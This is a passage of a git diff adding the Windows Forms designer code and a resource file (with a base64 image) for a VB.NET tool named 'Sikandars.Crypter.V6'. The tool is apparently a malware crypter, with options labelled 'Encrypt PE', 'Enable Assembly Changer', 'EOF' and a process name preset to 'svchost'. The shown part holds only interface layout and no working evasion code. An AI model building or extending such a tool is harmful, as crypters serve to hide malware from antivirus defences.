New System.Drawing.Size(146, 17) + Me.CheckBox72.TabIndex = 84 + Me.CheckBox72.Text = "Enable Assembly Changer" + Me.CheckBox72.UseVisualStyleBackColor = False + ' + 'CheckBox73 + ' + Me.CheckBox73.AutoSize = True + Me.CheckBox73.BackColor = System.Drawing.Color.Transparent + Me.CheckBox73.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.CheckBox73.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox73.Location = New System.Drawing.Point(178, 430) + Me.CheckBox73.Name = "CheckBox73" + Me.CheckBox73.Size = New System.Drawing.Size(92, 17) + Me.CheckBox73.TabIndex = 86 + Me.CheckBox73.Text = "Enable Others" + Me.CheckBox73.UseVisualStyleBackColor = False + ' + 'CheckBox74 + ' + Me.CheckBox74.AutoSize = True + Me.CheckBox74.BackColor = System.Drawing.Color.Transparent + Me.CheckBox74.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.CheckBox74.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox74.Location = New System.Drawing.Point(178, 453) + Me.CheckBox74.Name = "CheckBox74" + Me.CheckBox74.Size = New System.Drawing.Size(109, 17) + Me.CheckBox74.TabIndex = 87 + Me.CheckBox74.Text = "Enable Web Block" + Me.CheckBox74.UseVisualStyleBackColor = False + ' + 'CheckBox76 + ' + Me.CheckBox76.AutoSize = True + Me.CheckBox76.BackColor = System.Drawing.Color.Transparent + Me.CheckBox76.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.CheckBox76.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox76.Location = New System.Drawing.Point(178, 476) + Me.CheckBox76.Name = "CheckBox76" + Me.CheckBox76.Size = New System.Drawing.Size(103, 17) + Me.CheckBox76.TabIndex = 89 + Me.CheckBox76.Text = "Use USG Options" + Me.CheckBox76.UseVisualStyleBackColor = False + ' + 'CheckBox75 + ' + Me.CheckBox75.AutoSize = True + Me.CheckBox75.BackColor = System.Drawing.Color.Transparent + Me.CheckBox75.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.CheckBox75.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox75.Location = New System.Drawing.Point(25, 477) + Me.CheckBox75.Name = "CheckBox75" + Me.CheckBox75.Size = New System.Drawing.Size(116, 17) + Me.CheckBox75.TabIndex = 88 + Me.CheckBox75.Text = "Enable Sick Options" + Me.CheckBox75.UseVisualStyleBackColor = False + ' + 'TextBox4 + ' + Me.TextBox4.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.TextBox4.Location = New System.Drawing.Point(166, 377) + Me.TextBox4.Name = "TextBox4" + Me.TextBox4.Size = New System.Drawing.Size(124, 21) + Me.TextBox4.TabIndex = 92 + Me.TextBox4.Text = "svchost" + ' + 'CheckBox27 + ' + Me.CheckBox27.AutoSize = True + Me.CheckBox27.BackColor = System.Drawing.Color.Transparent + Me.CheckBox27.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.CheckBox27.ForeColor = System.Drawing.Color.Yellow + Me.CheckBox27.Location = New System.Drawing.Point(117, 379) + Me.CheckBox27.Name = "CheckBox27" + Me.CheckBox27.Size = New System.Drawing.Size(43, 17) + Me.CheckBox27.TabIndex = 98 + Me.CheckBox27.Text = "EOF" + Me.CheckBox27.UseVisualStyleBackColor = False + ' + 'MButton10 + ' + Me.MButton10.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.MButton10.ForeColor = System.Drawing.Color.Yellow + Me.MButton10.Location = New System.Drawing.Point(20, 50) + Me.MButton10.Name = "MButton10" + Me.MButton10.Size = New System.Drawing.Size(50, 21) + Me.MButton10.TabIndex = 97 + Me.MButton10.Text = "Exit" + ' + 'MButton6 + ' + Me.MButton6.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.MButton6.ForeColor = System.Drawing.Color.Yellow + Me.MButton6.Location = New System.Drawing.Point(240, 404) + Me.MButton6.Name = "MButton6" + Me.MButton6.Size = New System.Drawing.Size(50, 21) + Me.MButton6.TabIndex = 96 + Me.MButton6.Text = "Browse" + ' + 'MButton5 + ' + Me.MButton5.Font = New System.Drawing.Font("Calibri", 8.25!, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, CType(0, Byte)) + Me.MButton5.ForeColor = System.Drawing.Color.Yellow + Me.MButton5.Location = New System.Drawing.Point(20, 378) + Me.MButton5.Name = "MButton5" + Me.MButton5.Size = New System.Drawing.Size(91, 21) + Me.MButton5.TabIndex = 95 + Me.MButton5.Text = "Encrypt PE" + ' + 'Form1 + ' + Me.AutoScaleDimensions = New System.Drawing.SizeF(6.0!, 13.0!) + Me.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font + Me.BackColor = System.Drawing.Color.Black + Me.ClientSize = New System.Drawing.Size(303, 503) + Me.Controls.Add(Me.CheckBox27) + Me.Controls.Add(Me.MButton10) + Me.Controls.Add(Me.MButton6) + Me.Controls.Add(Me.MButton5) + Me.Controls.Add(Me.TabControl1) + Me.Controls.Add(Me.TextBox3) + Me.Controls.Add(Me.PictureBox1) + Me.Controls.Add(Me.CheckBox71) + Me.Controls.Add(Me.ProgressBar1) + Me.Controls.Add(Me.CheckBox72) + Me.Controls.Add(Me.CheckBox73) + Me.Controls.Add(Me.CheckBox74) + Me.Controls.Add(Me.CheckBox76) + Me.Controls.Add(Me.CheckBox75) + Me.Controls.Add(Me.TextBox4) + Me.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None + Me.Name = "Form1" + Me.Opacity = 0.9R + Me.ShowIcon = False + Me.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen + Me.TabControl1.ResumeLayout(False) + Me.TabPage1.ResumeLayout(False) + Me.TabPage1.PerformLayout() + CType(Me.PictureBox2, System.ComponentModel.ISupportInitialize).EndInit() + Me.TabPage2.ResumeLayout(False) + Me.TabPage2.PerformLayout() + Me.TabPage3.ResumeLayout(False) + Me.GroupBox1.ResumeLayout(False) + Me.GroupBox1.PerformLayout() + CType(Me.NumericUpDown4, System.ComponentModel.ISupportInitialize).EndInit() + CType(Me.NumericUpDown3, System.ComponentModel.ISupportInitialize).EndInit() + CType(Me.NumericUpDown2, System.ComponentModel.ISupportInitialize).EndInit() + CType(Me.NumericUpDown1, System.ComponentModel.ISupportInitialize).EndInit() + Me.TabPage4.ResumeLayout(False) + Me.TabPage4.PerformLayout() + Me.GroupBox6.ResumeLayout(False) + Me.GroupBox6.PerformLayout() + CType(Me.NumericUpDown6, System.ComponentModel.ISupportInitialize).EndInit() + CType(Me.NumericUpDown7, System.ComponentModel.ISupportInitialize).EndInit() + Me.GroupBox3.ResumeLayout(False) + Me.GroupBox3.PerformLayout() + Me.GroupBox5.ResumeLayout(False) + Me.GroupBox5.PerformLayout() + Me.GroupBox12.ResumeLayout(False) + Me.GroupBox12.PerformLayout() + Me.GroupBox2.ResumeLayout(False) + Me.GroupBox2.PerformLayout() + Me.TabPage5.ResumeLayout(False) + Me.TabPage5.PerformLayout() + Me.TabPage6.ResumeLayout(False) + Me.TabPage6.PerformLayout() + CType(Me.NumericUpDown5, System.ComponentModel.ISupportInitialize).EndInit() + Me.TabPage7.ResumeLayout(False) + Me.TabPage7.PerformLayout() + Me.GroupBox4.ResumeLayout(False) + Me.GroupBox4.PerformLayout() + CType(Me.NumericUpDown12, System.ComponentModel.ISupportInitialize).EndInit() + CType(Me.NumericUpDown11, System.ComponentModel.ISupportInitialize).EndInit() + CType(Me.NumericUpDown10, System.ComponentModel.ISupportInitialize).EndInit() + CType(Me.NumericUpDown9, System.ComponentModel.ISupportInitialize).EndInit() + CType(Me.NumericUpDown8, System.ComponentModel.ISupportInitialize).EndInit() + CType(Me.PictureBox1, System.ComponentModel.ISupportInitialize).EndInit() + Me.ResumeLayout(False) + Me.PerformLayout() + + End Sub + Friend WithEvents TextBox8 As System.Windows.Forms.TextBox + Friend WithEvents RadioButton21 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton17 As System.Windows.Forms.RadioButton + Friend WithEvents TabControl1 As System.Windows.Forms.TabControl + Friend WithEvents TabPage1 As System.Windows.Forms.TabPage + Friend WithEvents RadioButton24 As System.Windows.Forms.RadioButton + Friend WithEvents PictureBox2 As System.Windows.Forms.PictureBox + Friend WithEvents RadioButton10 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton9 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton4 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton3 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton2 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton1 As System.Windows.Forms.RadioButton + Friend WithEvents TextBox2 As System.Windows.Forms.TextBox + Friend WithEvents ListView1 As System.Windows.Forms.ListView + Friend WithEvents ColumnHeader1 As System.Windows.Forms.ColumnHeader + Friend WithEvents ColumnHeader2 As System.Windows.Forms.ColumnHeader + Friend WithEvents ColumnHeader3 As System.Windows.Forms.ColumnHeader + Friend WithEvents TextBox1 As System.Windows.Forms.TextBox + Friend WithEvents TabPage2 As System.Windows.Forms.TabPage + Friend WithEvents Label2 As System.Windows.Forms.Label + Friend WithEvents CheckBox26 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox25 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox24 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox23 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox22 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox21 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox20 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox19 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox18 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox17 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox16 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox15 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox14 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox13 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox12 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox11 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox10 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox9 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox8 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox7 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox6 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox5 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox4 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox3 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox2 As System.Windows.Forms.CheckBox + Friend WithEvents TabPage3 As System.Windows.Forms.TabPage + Friend WithEvents GroupBox1 As System.Windows.Forms.GroupBox + Friend WithEvents TextBox17 As System.Windows.Forms.TextBox + Friend WithEvents NumericUpDown4 As System.Windows.Forms.NumericUpDown + Friend WithEvents NumericUpDown3 As System.Windows.Forms.NumericUpDown + Friend WithEvents NumericUpDown2 As System.Windows.Forms.NumericUpDown + Friend WithEvents Label6 As System.Windows.Forms.Label + Friend WithEvents NumericUpDown1 As System.Windows.Forms.NumericUpDown + Friend WithEvents Label5 As System.Windows.Forms.Label + Friend WithEvents TextBox7 As System.Windows.Forms.TextBox + Friend WithEvents Label4 As System.Windows.Forms.Label + Friend WithEvents TextBox6 As System.Windows.Forms.TextBox + Friend WithEvents Label3 As System.Windows.Forms.Label + Friend WithEvents TextBox5 As System.Windows.Forms.TextBox + Friend WithEvents TabPage4 As System.Windows.Forms.TabPage + Friend WithEvents GroupBox6 As System.Windows.Forms.GroupBox + Friend WithEvents CheckBox68 As System.Windows.Forms.CheckBox + Friend WithEvents NumericUpDown6 As System.Windows.Forms.NumericUpDown + Friend WithEvents NumericUpDown7 As System.Windows.Forms.NumericUpDown + Friend WithEvents RadioButton15 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton16 As System.Windows.Forms.RadioButton + Friend WithEvents GroupBox3 As System.Windows.Forms.GroupBox + Friend WithEvents CheckBox29 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox1 As System.Windows.Forms.CheckBox + Friend WithEvents GroupBox5 As System.Windows.Forms.GroupBox + Friend WithEvents RadioButton47 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton43 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton45 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton46 As System.Windows.Forms.RadioButton + Friend WithEvents GroupBox12 As System.Windows.Forms.GroupBox + Friend WithEvents RadioButton26 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton28 As System.Windows.Forms.RadioButton + Friend WithEvents TextBox19 As System.Windows.Forms.TextBox + Friend WithEvents TextBox9 As System.Windows.Forms.TextBox + Friend WithEvents CheckBox28 As System.Windows.Forms.CheckBox + Friend WithEvents GroupBox2 As System.Windows.Forms.GroupBox + Friend WithEvents RadioButton14 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton13 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton12 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton11 As System.Windows.Forms.RadioButton + Friend WithEvents TabPage5 As System.Windows.Forms.TabPage + Friend WithEvents CheckBox70 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox49 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox48 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox47 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox46 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox45 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox44 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox43 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox42 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox41 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox40 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox39 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox38 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox37 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox36 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox35 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox34 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox33 As System.Windows.Forms.CheckBox + Friend WithEvents TabPage6 As System.Windows.Forms.TabPage + Friend WithEvents Label8 As System.Windows.Forms.Label + Friend WithEvents Label7 As System.Windows.Forms.Label + Friend WithEvents NumericUpDown5 As System.Windows.Forms.NumericUpDown + Friend WithEvents CheckBox61 As System.Windows.Forms.CheckBox + Friend WithEvents Label9 As System.Windows.Forms.Label + Friend WithEvents CheckBox60 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox59 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox58 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox56 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox55 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox54 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox53 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox52 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox51 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox50 As System.Windows.Forms.CheckBox + Friend WithEvents TabPage7 As System.Windows.Forms.TabPage + Friend WithEvents Label27 As System.Windows.Forms.Label + Friend WithEvents GroupBox4 As System.Windows.Forms.GroupBox + Friend WithEvents RadioButton25 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton20 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton19 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton18 As System.Windows.Forms.RadioButton + Friend WithEvents Label28 As System.Windows.Forms.Label + Friend WithEvents Label29 As System.Windows.Forms.Label + Friend WithEvents NumericUpDown12 As System.Windows.Forms.NumericUpDown + Friend WithEvents Label30 As System.Windows.Forms.Label + Friend WithEvents NumericUpDown11 As System.Windows.Forms.NumericUpDown + Friend WithEvents Label31 As System.Windows.Forms.Label + Friend WithEvents NumericUpDown10 As System.Windows.Forms.NumericUpDown + Friend WithEvents Label32 As System.Windows.Forms.Label + Friend WithEvents NumericUpDown9 As System.Windows.Forms.NumericUpDown + Friend WithEvents Label21 As System.Windows.Forms.Label + Friend WithEvents NumericUpDown8 As System.Windows.Forms.NumericUpDown + Friend WithEvents Label22 As System.Windows.Forms.Label + Friend WithEvents CheckBox64 As System.Windows.Forms.CheckBox + Friend WithEvents Label23 As System.Windows.Forms.Label + Friend WithEvents CheckBox63 As System.Windows.Forms.CheckBox + Friend WithEvents Label24 As System.Windows.Forms.Label + Friend WithEvents CheckBox62 As System.Windows.Forms.CheckBox + Friend WithEvents Label25 As System.Windows.Forms.Label + Friend WithEvents CheckBox57 As System.Windows.Forms.CheckBox + Friend WithEvents Label26 As System.Windows.Forms.Label + Friend WithEvents CheckBox30 As System.Windows.Forms.CheckBox + Friend WithEvents Label14 As System.Windows.Forms.Label + Friend WithEvents Label82 As System.Windows.Forms.Label + Friend WithEvents Label15 As System.Windows.Forms.Label + Friend WithEvents Label1 As System.Windows.Forms.Label + Friend WithEvents Label17 As System.Windows.Forms.Label + Friend WithEvents Label10 As System.Windows.Forms.Label + Friend WithEvents Label18 As System.Windows.Forms.Label + Friend WithEvents Label13 As System.Windows.Forms.Label + Friend WithEvents Label19 As System.Windows.Forms.Label + Friend WithEvents Label12 As System.Windows.Forms.Label + Friend WithEvents Label20 As System.Windows.Forms.Label + Friend WithEvents Label11 As System.Windows.Forms.Label + Friend WithEvents TextBox3 As System.Windows.Forms.TextBox + Friend WithEvents ImageList1 As System.Windows.Forms.ImageList + Friend WithEvents PictureBox1 As System.Windows.Forms.PictureBox + Friend WithEvents CheckBox71 As System.Windows.Forms.CheckBox + Friend WithEvents ProgressBar1 As System.Windows.Forms.ProgressBar + Friend WithEvents CheckBox72 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox73 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox74 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox76 As System.Windows.Forms.CheckBox + Friend WithEvents CheckBox75 As System.Windows.Forms.CheckBox + Friend WithEvents TextBox4 As System.Windows.Forms.TextBox + Friend WithEvents MButton4 As SCV6._0.MButton + Friend WithEvents MButton3 As SCV6._0.MButton + Friend WithEvents MButton2 As SCV6._0.MButton + Friend WithEvents MButton1 As SCV6._0.MButton + Friend WithEvents MButton7 As SCV6._0.MButton + Friend WithEvents MButton5 As SCV6._0.MButton + Friend WithEvents MButton6 As SCV6._0.MButton + Friend WithEvents MButton8 As SCV6._0.MButton + Friend WithEvents MButton9 As SCV6._0.MButton + Friend WithEvents MButton10 As SCV6._0.MButton + Friend WithEvents MButton11 As SCV6._0.MButton + Friend WithEvents Label16 As System.Windows.Forms.Label + Friend WithEvents CheckBox27 As System.Windows.Forms.CheckBox + Friend WithEvents RadioButton7 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton6 As System.Windows.Forms.RadioButton + Friend WithEvents RadioButton5 As System.Windows.Forms.RadioButton + +End Class diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Form1.resx b/scode (Sikandars.Crypter.V6.VB.NET/Form1.resx new file mode 100644 index 0000000..7a4aacd --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Form1.resx @@ -0,0 +1,390 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 17, 17 + + + + + iVBORw0KGgoAAAANSUhEUgAAASQAAABLCAYAAADZLPrXAAAABGdBTUEAALGOfPtRkwAAACBjSFJNAACH + DwAAjA8AAP1SAACBQAAAfXkAAOmLAAA85QAAGcxzPIV3AAAKOWlDQ1BQaG90b3Nob3AgSUNDIHByb2Zp + bGUAAEjHnZZ3VFTXFofPvXd6oc0wAlKG3rvAANJ7k15FYZgZYCgDDjM0sSGiAhFFRJoiSFDEgNFQJFZE + sRAUVLAHJAgoMRhFVCxvRtaLrqy89/Ly++Osb+2z97n77L3PWhcAkqcvl5cGSwGQyhPwgzyc6RGRUXTs + AIABHmCAKQBMVka6X7B7CBDJy82FniFyAl8EAfB6WLwCcNPQM4BOB/+fpFnpfIHomAARm7M5GSwRF4g4 + JUuQLrbPipgalyxmGCVmvihBEcuJOWGRDT77LLKjmNmpPLaIxTmns1PZYu4V8bZMIUfEiK+ICzO5nCwR + 3xKxRoowlSviN+LYVA4zAwAUSWwXcFiJIjYRMYkfEuQi4uUA4EgJX3HcVyzgZAvEl3JJS8/hcxMSBXQd + li7d1NqaQffkZKVwBALDACYrmcln013SUtOZvBwAFu/8WTLi2tJFRbY0tba0NDQzMv2qUP91829K3NtF + ehn4uWcQrf+L7a/80hoAYMyJarPziy2uCoDOLQDI3fti0zgAgKSobx3Xv7oPTTwviQJBuo2xcVZWlhGX + wzISF/QP/U+Hv6GvvmckPu6P8tBdOfFMYYqALq4bKy0lTcinZ6QzWRy64Z+H+B8H/nUeBkGceA6fwxNF + hImmjMtLELWbx+YKuGk8Opf3n5r4D8P+pMW5FonS+BFQY4yA1HUqQH7tBygKESDR+8Vd/6NvvvgwIH55 + 4SqTi3P/7zf9Z8Gl4iWDm/A5ziUohM4S8jMX98TPEqABAUgCKpAHykAd6ABDYAasgC1wBG7AG/iDEBAJ + VgMWSASpgA+yQB7YBApBMdgJ9oBqUAcaQTNoBcdBJzgFzoNL4Bq4AW6D+2AUTIBnYBa8BgsQBGEhMkSB + 5CEVSBPSh8wgBmQPuUG+UBAUCcVCCRAPEkJ50GaoGCqDqqF6qBn6HjoJnYeuQIPQXWgMmoZ+h97BCEyC + qbASrAUbwwzYCfaBQ+BVcAK8Bs6FC+AdcCXcAB+FO+Dz8DX4NjwKP4PnEIAQERqiihgiDMQF8UeikHiE + j6xHipAKpAFpRbqRPuQmMorMIG9RGBQFRUcZomxRnqhQFAu1BrUeVYKqRh1GdaB6UTdRY6hZ1Ec0Ga2I + 1kfboL3QEegEdBa6EF2BbkK3oy+ib6Mn0K8xGAwNo42xwnhiIjFJmLWYEsw+TBvmHGYQM46Zw2Kx8lh9 + rB3WH8vECrCF2CrsUexZ7BB2AvsGR8Sp4Mxw7rgoHA+Xj6vAHcGdwQ3hJnELeCm8Jt4G749n43PwpfhG + fDf+On4Cv0CQJmgT7AghhCTCJkIloZVwkfCA8JJIJKoRrYmBRC5xI7GSeIx4mThGfEuSIemRXEjRJCFp + B+kQ6RzpLuklmUzWIjuSo8gC8g5yM/kC+RH5jQRFwkjCS4ItsUGiRqJDYkjiuSReUlPSSXK1ZK5kheQJ + yeuSM1J4KS0pFymm1HqpGqmTUiNSc9IUaVNpf+lU6RLpI9JXpKdksDJaMm4ybJkCmYMyF2TGKQhFneJC + YVE2UxopFykTVAxVm+pFTaIWU7+jDlBnZWVkl8mGyWbL1sielh2lITQtmhcthVZKO04bpr1borTEaQln + yfYlrUuGlszLLZVzlOPIFcm1yd2WeydPl3eTT5bfJd8p/1ABpaCnEKiQpbBf4aLCzFLqUtulrKVFS48v + vacIK+opBimuVTyo2K84p6Ss5KGUrlSldEFpRpmm7KicpFyufEZ5WoWiYq/CVSlXOavylC5Ld6Kn0Cvp + vfRZVUVVT1Whar3qgOqCmrZaqFq+WpvaQ3WCOkM9Xr1cvUd9VkNFw08jT6NF454mXpOhmai5V7NPc15L + Wytca6tWp9aUtpy2l3audov2Ax2yjoPOGp0GnVu6GF2GbrLuPt0berCehV6iXo3edX1Y31Kfq79Pf9AA + bWBtwDNoMBgxJBk6GWYathiOGdGMfI3yjTqNnhtrGEcZ7zLuM/5oYmGSYtJoct9UxtTbNN+02/R3Mz0z + llmN2S1zsrm7+QbzLvMXy/SXcZbtX3bHgmLhZ7HVosfig6WVJd+y1XLaSsMq1qrWaoRBZQQwShiXrdHW + ztYbrE9Zv7WxtBHYHLf5zdbQNtn2iO3Ucu3lnOWNy8ft1OyYdvV2o/Z0+1j7A/ajDqoOTIcGh8eO6o5s + xybHSSddpySno07PnU2c+c7tzvMuNi7rXM65Iq4erkWuA24ybqFu1W6P3NXcE9xb3Gc9LDzWepzzRHv6 + eO7yHPFS8mJ5NXvNelt5r/Pu9SH5BPtU+zz21fPl+3b7wX7efrv9HqzQXMFb0ekP/L38d/s/DNAOWBPw + YyAmMCCwJvBJkGlQXlBfMCU4JvhI8OsQ55DSkPuhOqHC0J4wybDosOaw+XDX8LLw0QjjiHUR1yIVIrmR + XVHYqLCopqi5lW4r96yciLaILoweXqW9KnvVldUKq1NWn46RjGHGnIhFx4bHHol9z/RnNjDn4rziauNm + WS6svaxnbEd2OXuaY8cp40zG28WXxU8l2CXsTphOdEisSJzhunCruS+SPJPqkuaT/ZMPJX9KCU9pS8Wl + xqae5Mnwknm9acpp2WmD6frphemja2zW7Fkzy/fhN2VAGasyugRU0c9Uv1BHuEU4lmmfWZP5Jiss60S2 + dDYvuz9HL2d7zmSue+63a1FrWWt78lTzNuWNrXNaV78eWh+3vmeD+oaCDRMbPTYe3kTYlLzpp3yT/LL8 + V5vDN3cXKBVsLBjf4rGlpVCikF84stV2a9021DbutoHt5turtn8sYhddLTYprih+X8IqufqN6TeV33za + Eb9joNSydP9OzE7ezuFdDrsOl0mX5ZaN7/bb3VFOLy8qf7UnZs+VimUVdXsJe4V7Ryt9K7uqNKp2Vr2v + Tqy+XeNc01arWLu9dn4fe9/Qfsf9rXVKdcV17w5wD9yp96jvaNBqqDiIOZh58EljWGPft4xvm5sUmoqb + PhziHRo9HHS4t9mqufmI4pHSFrhF2DJ9NProje9cv+tqNWytb6O1FR8Dx4THnn4f+/3wcZ/jPScYJ1p/ + 0Pyhtp3SXtQBdeR0zHYmdo52RXYNnvQ+2dNt293+o9GPh06pnqo5LXu69AzhTMGZT2dzz86dSz83cz7h + /HhPTM/9CxEXbvUG9g5c9Ll4+ZL7pQt9Tn1nL9tdPnXF5srJq4yrndcsr3X0W/S3/2TxU/uA5UDHdavr + XTesb3QPLh88M+QwdP6m681Lt7xuXbu94vbgcOjwnZHokdE77DtTd1PuvriXeW/h/sYH6AdFD6UeVjxS + fNTws+7PbaOWo6fHXMf6Hwc/vj/OGn/2S8Yv7ycKnpCfVEyqTDZPmU2dmnafvvF05dOJZ+nPFmYKf5X+ + tfa5zvMffnP8rX82YnbiBf/Fp99LXsq/PPRq2aueuYC5R69TXy/MF72Rf3P4LeNt37vwd5MLWe+x7ys/ + 6H7o/ujz8cGn1E+f/gUDmPP8usTo0wAAAAlwSFlzAAALDAAACwwBP0AiyAAAMdBJREFUeF7tnQe0FEXW + x2teDjx4gO4aF1TUVXdd08qa1qdiVsCAizkBhgUFXCNmJShmjIu6qBiRIIKCJAUkJ0FEQB7pEQQMBHUN + n/P9f9N939Qb5gGKwpy155x7uru6u+rWrXv/de/t6h4Xj8ddRJEMIh2IdCATdCACowiQIx2IdCBjdCBj + GMkEdI54iLyESAe2rg5EgBTNjpEORDqQMTqQMYxEM9PWnZki+UfyzwQdiAApmh0jHYh0IGN0IGMYyQR0 + jniIvIRIB7auDkSAFM2OkQ5EOpAxOpAxjEQz09admSL5R/LPBB2IACmaHSMdiHQgY3QgYxjJBHSOeIi8 + hEgHtq4ORIAUzY6RDkQ6kDE6kDGMRDPT1p2ZIvlH8s8EHYgAKZodIx2IdCBjdCBjGMkEdI54iLyESAe2 + rg5EgBTNjpEORDqQMTqQMYxEM9PWnZki+UfyzwQdiAApmh0jHYh0IGN0IGMYyQR0jniIvIRIB7auDkSA + FM2OkQ5EOpAxOvCzGHHJX0y7UI4oT1QgKhIVi2pshLiuUJQf3p8V1uVVH+3+D0oAfcn+GfqCTqEz6Fhu + WAd1Rb8MlcDP8TY3B5BQBkAEQCkRbSvaSVRftJuowQaI87uK/iD6vahUBDgBbJGSZaiC/QJsoS9MXExW + dUU7hvqCLmxIXzjHNfVEO4T3AlAAU6Qvv8DA/BpVbA1AAowAk3qHH+UOf22we3z2Khef+4WLz1vt4vPX + uvjCr1x80dcuXvFfF1/ynYsv/d7FP/3RxVfEY6IsUU587uf5b/UbkddI9TADZq+MF7qAikQlolJR7Upa + Fa/rVsW3Ef0upN9ru51H22sf2kG0Y0g7aQulHlsZ19p9qVvqpg1rb9uwfbY+2Xm224jfOiHvxn8dlcN7 + 3fAcfVr/nF2T7Cdt+HXDi/XP+Oa88RW0EcjIyOeTsvR8VG2zan30J8mbX3e6uuhXLVHNxBiGwAGA1BQx + ce0zdFL+Y8u+L16ja+KSQxqqpbJUKo0v+bbOosnlta9VHVScmMQC/QhkGfCYOi6psvF1CHn6OmTHyNTK + 